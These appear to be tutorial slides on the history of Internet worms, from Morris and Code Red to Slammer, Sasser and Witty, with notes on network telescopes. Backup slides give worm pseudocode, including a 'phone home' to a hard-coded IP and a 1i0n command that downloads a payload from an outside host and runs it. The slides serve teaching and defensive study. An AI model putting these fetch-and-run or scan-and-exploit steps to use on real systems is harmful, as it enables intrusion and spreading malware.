Outline

- Morning session (understanding)
  - The 10,000 foot issues
  - Overview and taxonomy
  - Worm history
  - Epidemiological modeling

- Afternoon session (defenses)
  - Overview
  - Detection
    - Signature-based
    - Behavioral
  - Mitigation
A Brief History Of Significant Worms

- The Shockwave Rider & When HARLIE Was One
- Shock & Hupp: Workhorse Worms
- The Christmas Tree worm
- Morris Worm
- Ramen, 1i0n, Adore
- ExploreZip & OpenShares Worms
- Klez32
- Code Red
  - Aside: Internet Telescopes
- Nimda
- Slammer
- Blaster/Welchia/Sasser
- Witty
The Shockwave Rider: Worms in Science Fiction

- 1975 Science Fiction dystopia written by John Brunner
  - Regarded as pre-cyberpunk
- A primary feature: tapeworms
  - Mobile, autonomous programs which serve the releaser's intent
  - Global distributed computing infrastructure is bogged down by competing, malicious worms
    - Often used to cloak financial/other information
- Name was used by Shock & Hupp to describe their programs
- Self-propagating malicious program (the VIRUS program) described by David Gerrold in *When HARLIE was One* in 1972
  - The VIRUS program would be called a worm today: actively searching for and infecting new victims
  - Also extortion virology: the VACCINE program cost money
Can you use worms to do anything good?
- Experiments at Xerox

Worms were used for
- Scheduling/load balancing
- Configuration management
- Bill-boardering
- Alarm clock
- Network diagnostics
- Well, reportedly, this was really all done to make an early 3D Mazewar game

Model was mobile but not replicating

Issues (still relevant):
- Limiting propagation
- Limiting the effects of bugs
- Key bugs were related to failures to kill off the previous instance when moving
  - Creating a replicating worm

Eventually, experiments ceased due to risks
- “We have only briefly mentioned the biggest problem associated with worm management: controlling its growth while maintaining stable behavior.”
- Hundreds of machines were knocked out by bugs

[SH82] John Shoch and Jon Hupp, The "Worm" Programs - Early Experience with a Distributed Computation, CACM, March 1982
The Christmas Tree Worm: The First Mail Virus [R87]

- Spread over BITNET in 1987
  - Email claiming to have Christmas card with executable attachment
  - When run by victim, code would email copies to everyone on victim’s address list
    - As well as draw a Christmas tree
- Template for most of the mail viruses/worms to come
  - Required user consent ….
  - …but first (assisted) self-replicating email-borne attack
  - Self propagating anti-worm was reportedly even written

[R87] See RISKS mailing list, digest 6.01, http://catless.ncl.ac.uk/Risks/6.01.html, January 1987
The Morris Worm: Overview [S88, ER89]

- **Innovation:** first Internet worm
  - Developed (in C) by Robert T. Morris, Jr., released November 1988
- **Very innovative - multiple exploits:**
  - fingerd: a 0-day buffer overflow
  - sendmail administrator commands and password guessing: policy vulnerabilities
  - .rhosts: user authentication
- **Supported multiple operating systems**
- **Topological Target Discovery**
  - Used network yellow pages, etc., to find targets rather than scanning
- **Remains arguably most sophisticated & innovative worm to date**
- **Bugs:**
  - Limited number of copies feature didn't work
    - Caused machines to bog-down under the load (Internet down for 2-3 days+)


Morris Worm: Behavior & Effects

- Infected ~6k [2k..10k] machines on Internet
- Leveraged trust relationships and known-hosts, not random scanning
  - Spread was fast
- 3 days’ entire network downtime (slowly up following 4 days)
  - CPU & network saturation
  - Race condition: patching over Internet ⇒ Reinfection
- Counter-forensics tactics
  - Memory resident only (clobbered argv[0], deleted files)
- Bug was really Morris simply trying to be too clever
  - He realized that w/o restriction, worm would grow unrestricted on a host
    - But someone else could set the flag to prevent infection
  - Thus: ignore the flag with 1 in 7 probability
    - But that will still cause exponential growth
    - And he mistakenly did the opposite: stay alive with probability 6 in 7
Morris Worm: Lessons Learned

- Worms are a fast, powerful way of disrupting networked infrastructures
- Need redundant communication
  - Good Ol’ Boys network was the most effective way of getting things diagnosed/fixed
- Networks are going to be very difficult to secure against worms
  - 0-day exploit: Difficult to predict, detect, prevent
  - Social attacks: Leveraging credentials/trust that users created
    - Not heavily exploited by more recent worms
  - Intended functionality: Two-edged
    - The sendmail administration password was a feature, not a bug
Linux Worms: Ramen, 1i0n, cheese, and adore

- A group of Linux-targeting auto-rooting kits
  - E.g., Ramen, a collection of scripts which:
    - Scan randomly selected /16s
    - Separate task receives results of the scan (lpr/ftp vulnerabilities)
    - Upon infection:
      - Create backdoor (to transfer over the worm code)
      - Email notification to author/proxy
      - Close security hole to prevent reinfection/recapturing
      - Modify index.html (Hackers looooooooooooooooooove noodles)
      - Begin scanning

- Demonstrated blackhats using worms
  - Versions designed to distribute rootkits/backdoors
    - Often derived from existing attack tools
  - Relatively slow: only infected specific Linux versions
    - E.g., Ramen only infected Red Hat 6.2 and 7.0

Max Vision, *Whitehats: Ramen Internet Worm Analysis*,
http://www.whitehats.com/library/worms/ramen/
Unfortunately, the link is no longer live
1i0n Worm: Lessons Learned

- Worms can be very easily written
  - Exploits off the shelf (from Internet)
  - Script code < 1 hour of writing/testing
  - Multi-exploit worms are easy (Ramen had 3)
  - Code reuse simplifies worm development
    - 1i0n was derived from Ramen
ExploreZip and later OpenShares Worm

- **ExploreZip**: one of the first "Open Shares" worms
  - Previous viruses would infect mounted directories, but wouldn't search for new systems to mount
- **Windows File Sharing** often turned on, often with no passwords
  - Pick a random machine, try to mount its c: drive
    - Authenticate as anonymous and as the current user
    - If successful, write copy into the startup folder, insert into executables, or write onto target disk and then modify win.ini
- **Exploit policy vulnerabilities**: file sharing without protections
- **Relatively slow spreading**
  - Poor scanning routines
  - Slow activation: requires machine reset, infected program execution, or similar behavior
- **Effective (became endemic)**:
  - First Honeynet project Windows 98 honeypot (October 2000) was infected in 24 hours, 3 different worms in 3 days [H00]
    - Honeynet saw worms for distributed.net contests/credit

Klez32: Meshing OpenShares With Email Virus [S01]

- Combination of email worm and Open Shares worm
  - Email mode exploited vulnerabilities in clients for automatic execution
  - Email mode highly aggressive at address harvesting
- Multiple releases/variants:
  - Including messages claiming to remove a previous version of the mail virus
- Payload:
  - Disables antivirus routines (Klez-E and later)
  - Deploy file-infection virus with malicious payload
    - Date-triggered data-erasure

[S01] http://securityresponse.symantec.com/avcenter/venc/data/w32.klez.gen@mm.html
Symantec’s summery of Klez
Code Red: The First Fast Worm
[C01][SPW02]

- July 12th, 2001: Initial version
  - Memory resident, autonomous worm, attacking Microsoft IIS
  - BUG: pRNG wasn't well seeded
    - All worms scanned the same addresses in the same order → Linear growth rather than exponential
- July 19th, 2001: Code Red v2
  - Fixed pRNG seeding
    - Resulting growth was "logistic"
  - First modern fast worm
    - Spread worldwide in ~13 hours
    - Infected >350,000 hosts
- Payload/Bug: DDoS
  - Targeted www.whitehouse.gov's IP address, which administrators changed
    - When it failed in its DDoS attack, the worm instance would die
    - Resurrected by system with bad clocks

Graph from David Moore's analysis (caida.org)

[SPW02] S Staniford and V. Paxson and N. Weaver, How to Own the Internet in your Spare Time, Usenix Security 2002
Aside: Network Telescopes [MSB06]

- Code Red marked the rise of Network Telescopes in studying worms
  - Large, unused or lightly used address ranges
    - Also, counting only unsolicited requests recorded at the firewall
  - One prominent one: CAIDA /8 telescope
    - Originally used to study backscatter: the reflections from source-spoofed DDoS attacks

- Recording a worm’s random probes allows one to:
  - Estimate the infected population
  - Chart the worm’s evolution over time
  - (Hopefully) Find the initial point of infection
    - Only happened once, with Witty

What Can (And Can’t) Be Done With Network Telescopes

- Can be done:
  - Provide good estimates for random and some non-uniform strategies
    - Population over time
    - Scanning rate per worm
  - Can perhaps be used to estimate a worm’s propagation in real time
    - Monitoring how the scanning rate changes over time

- Can’t be done:
  - Detect a worm reliably
    - Attacker can send spoofed SYNs to the telescope
      - Need a responsive system (E.G. a Honeyfarm) on the other end instead
  - Monitor some non-uniform scanning strategies
    - Linear scanners with local start (Ala’ Blaster)
    - Bad pRNGs
    - Strategies which avoid telescope ranges
      - Common to increase efficiency
  - Monitor non-scanning worms
  - Not all telescopes see the same thing!
Network Telescopes: Size Matters

- The larger a network telescope, the more effective it is
  - Larger telescopes see much more traffic
    - Can detect large events quicker
    - Can detect smaller events
    - Higher precision response
- The more diverse it is, the more effective
  - Different telescopes see very different things
  - Even for the same random event (Witty), different telescopes saw different amounts of traffic
    - Loss along different paths
Code Red II: Local Subnet Scanning

- Code Red II, August 4th, 2001
  - Completely independent source code, but same vulnerability
- Payload: opens a backdoor
  - Remotely accessible root command shell, no authentication
- Innovation: local subnet scanning
  - 1/8 random probes, 1/2 probe the current /8,
    3/8 probe the current /16
    - A single firewall penetration will effectively scan the local network
      - Many machines had IIS on but unknown
    - Tends to scan more heavily the more populated /8s
- Response: anti-Code-Red II strikeback deployed
  - Respond to Code Red II probe by disabling IIS, restarting machine
    - dashbistro.org perl default.ida and the unreleased Code Green worm
    - Strikeback only works to clean up the mess!
Nimda: Complexity Makes an Effective Worm [Cert01]

- Nimda was a *mutt*: it mixed various features together
  - Net result was *far more effective* than the individual components
- Nimda was *large*
  - ~100 kB of code!
- The net result was a *very wide spread*
  - Modes interacted synergistically

Nimda: Active Modes

- Web Server:
  - Unicode, directory traversal, and Code Red II:
    - All, through special path, allow access to a command shell
    - Use shell to transfer over the worm

- Open file shares:
  - Attempt to search and mount local directories
  - Write worm as a .dll in every directory
    - Buggy Microsoft Office would execute .dll if an office document is opened in that directory

- Scanning is biased for local addresses
  - Take advantage of firewall penetrations
Nimda: Firewall Penetrations

- **Email mode:**
  - Respond to mail messages with infection attempt
    - Buggy outlook copies would automatically execute (mail worm)
    - Users would execute (mail virus)

- **Web Client mode:**
  - Write Javascript to execute worm in all .html pages discovered
    - Buggy explorer would automatically run the worm

- **High rate of success not necessary**
  - Goal is to get a foothold in the firewall, not to spread everywhere
Nimda: Results

- Using multiple exploits helped it considerably
  - Patching is a problem...
    - Patching *four* applications is an even bigger problem
      - Patches from 3-4 separate sources
  - Nimda would probably be less effective today
    - Patching is much more attended to

- It waltzed through firewalls
  - A single penetration, and *voila* ...
  - Effective synergy between multiple exploits
Slammer: Simplicity Makes an Effective Worm [MPSSSW03]

- Slammer was a single packet UDP worm
  - Cleanup from buffer overflow
  - Get API pointers
    - Code borrowed from published exploit
  - Create socket & packet
  - Seed PRNG with getTickCount()
  - While 1
    - Increment PRNG
      - 3 bugs in the code
    - Send self to PRNG address
- 404 bytes total
- **Worldwide Spread in < 10 minutes**
  - Peak scanning in ~3 minutes
    - > 55 million packets/second
    - > 75,000 compromised machines

Why Was Slammer Fast: *Bandwidth-Limited Scanning*

- Code Red's scanner is *latency limited*
  - In many threads: send SYN to random address, wait for response or timeout
  - Code Red $\rightarrow~$6 scans/second,
    - Population doubles about every 40 minutes
- Every *Slammer* copy sent infectious packets at *maximum rate*
  - 1 Mb upload bandwidth $\rightarrow$ 280 scans/second
  - 100 Mb upload bandwidth $\rightarrow$ 28,000 scans/second
  - More details on bandwidth-limited worms later in the tutorial
- Slammer was NOT self-congesting
  - Every packet sent did equally useful work!
- Note that *if* you can craft raw packets, you can make a TCP-based scanning worm spread like Slammer
What Failed due to Slammer: LOTS!

- Some edge devices failed due to load
  - Several UCB switches needed resetting after infected machines were removed
  - Flow-based devices failed hard:
    - Every packet was a new flow!
- Many sites connectivity disrupted by outgoing traffic
  - Often with only a few infected machines
    - Need to deploy fairness/bandwidth capping
- Some critical systems are not well isolated from the Internet, saw disruptions due to traffic/infection
  - Bellevue WA 911 system [F03], BofA ATM system, airline reservation systems, a nuclear powerplant control system [P03]...
  - Almost all failures due to the traffic load on local networks, or actual infections
Blaster & Welchia & Sasser: Windows RPC Vulnerability

- Amazingly poorly-written worms
- Blaster required secondary control channels and tftpd
  - Often would fail to infect upon successful compromise
- Blaster included faulty DDoS routine
- Blaster caused crashes
  - RPC essential and single-threaded Windows service
- Welchia: self-limited scanner (ICMP ping flood)
- Copycats: Changing strings & payloads, and rereleasing
- Sasser: Same theme, new vulnerability (body transferred via FTP)
  - Released on weekend, didn’t really propagate until work-week started
  - Reportedly written by an 18 year old, betrayed by friends for $250k

Blaster & Welchia & Sasser: Windows RPC Vulnerability, con’t

- Impact/spread still unclear: but infected **millions** of machines!
  - Blaster > 8 million
  - Sasser > 1.2 million
- Based on conservative methodology from Microsoft:
  Users who were infected, visited Windows Update, and automatically downloaded the cleanup tool

- Cleanup difficult/annoying
  - Default installs/new purchases are vulnerable
  - Must set up new installs behind fine-grained firewalls/NAT boxes
  - Or offline patch-installation before connection

Symantec W32.Blaster.worm,
http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
K Poulsen, Nachi worm infected Diebold ATMs,
http://www.securityfocus.com/news/7517"
E. Messmer, Navy Marine Corps Intranet hit by Welchia Worm
Zotob: Bot-Spreading Worm

- One of many bot oriented worms
  - Spreads via Windows 2K “Plug and Play” vulnerability
- Reflects current generation of payload:
  - Remote IRC command and control (bot)
    - Bot code supports remote updates
  - Removal prevention:
    - Inserts hosts-file entries for many security sites
    - Included threat message (not carried out) against anti-virus vendors

Symantec’s Zotob analysis,
http://securityresponse.symantec.com/avcenter/venc/data/w32.zotob.a.html
Witty: Speed, Malice, and Skill [MS04]

- **Speed**
  - Single-packet UDP worm
  - Exploited stack overflow in BlackICE/RealSecure NIDS
    - Packet interpreted if `source` port = 4000
      - No listener required
    - Infected ~12,000 hosts in ~45 minutes

- **Malice**
  - Corrupted disk every 20,000 targets
  - Victims were data-rich
  - Possibly a flak attack to cover another attack

Witty, con’t:
Speed, Malice, and Skill [MS04]

Skill
- No observed bugs in worm
  - Except perhaps reading Knuth in too much detail
- Short development time
  - 1.5 days with public information
  - 10 days with inside knowledge
    - Circumstantial evidence suggests an insider
- Possibly developed exploit previously and independently

More On Witty

- Forensics lead to a treasure-trove of information
  - Mostly based on cracking its pRNG [KPW05]
  - System uptime, disk, network links, who-infected-whom, etc
  - **Patient 0**, system used to launch the worm
- **Worm initialized from a hit list**
  - ~110 hosts targeted at start
    - Infected *too fast for random scanning*
    - Most at a single site: US Military base

---

From Moore and Shannon’s analysis (caida.org)

[ KPW05 ] A. Kumar, V. Paxson, N. Weaver, Outwitting the Witty Worm, IMC 2005
[ WE04 ] N. Weaver and D. Ellis, Reflections on Witty: Analyzing the Attacker, ;login 2004
Reflections On History

- We have seen a fantastic evolution over 3 decades
  - From science fiction dream to unfortunate reality
    - Although the science fiction authors realized the malicious potential from the start
  - From innocent experiments to malicious attacks on military systems
  - The rise of motives:
    - Botnets are a source of profit
      - Drive spamming, phishing, and other criminal activities
      - Worms have been used to create botnets
    - Witty: Who knows, but the attacker did have a real motive
limit processes/machine (buggy, actually 1 in 7 was killed)  
while ( 1 )
    report_breakin() //phone home (128.32.137.13)
    Scan hosts.equiv, rhosts for trust relationships target hosts, networks
    Attempt various low hanging logins (rsh, simple passwords)
    Change PID
    For hosts in { known target networks, known hosts,
        Try rsh as known users (with passwords if necessary)
        Try finger buffer overflow attack
        Try mail attack (exploit sendmail debug vulnerability)
    }
    On 12 hour boundaries, clean up a bit
(backup slide) 1i0n Worm: Pseudo Code

scan.sh
forever
  h = randb(); # Get a random number
  If( TCP_Connect( h , 53 ) ) {
    write h to bindname.log ; } # If can connect,
    # write it to the log

hack.sh
forever
  get last 10 t from bindname.log
  foreach h do
    foreach exploit do {# could’ve used many exploits
      if( TCP_Connect( h , 53 ) ) # one exploit
        attack t with bindx.sh ; #attack bind (DNS service)
        execute "lynx -source \n        http://207.181.140.2:27374 > 1i0n.tar;./lion"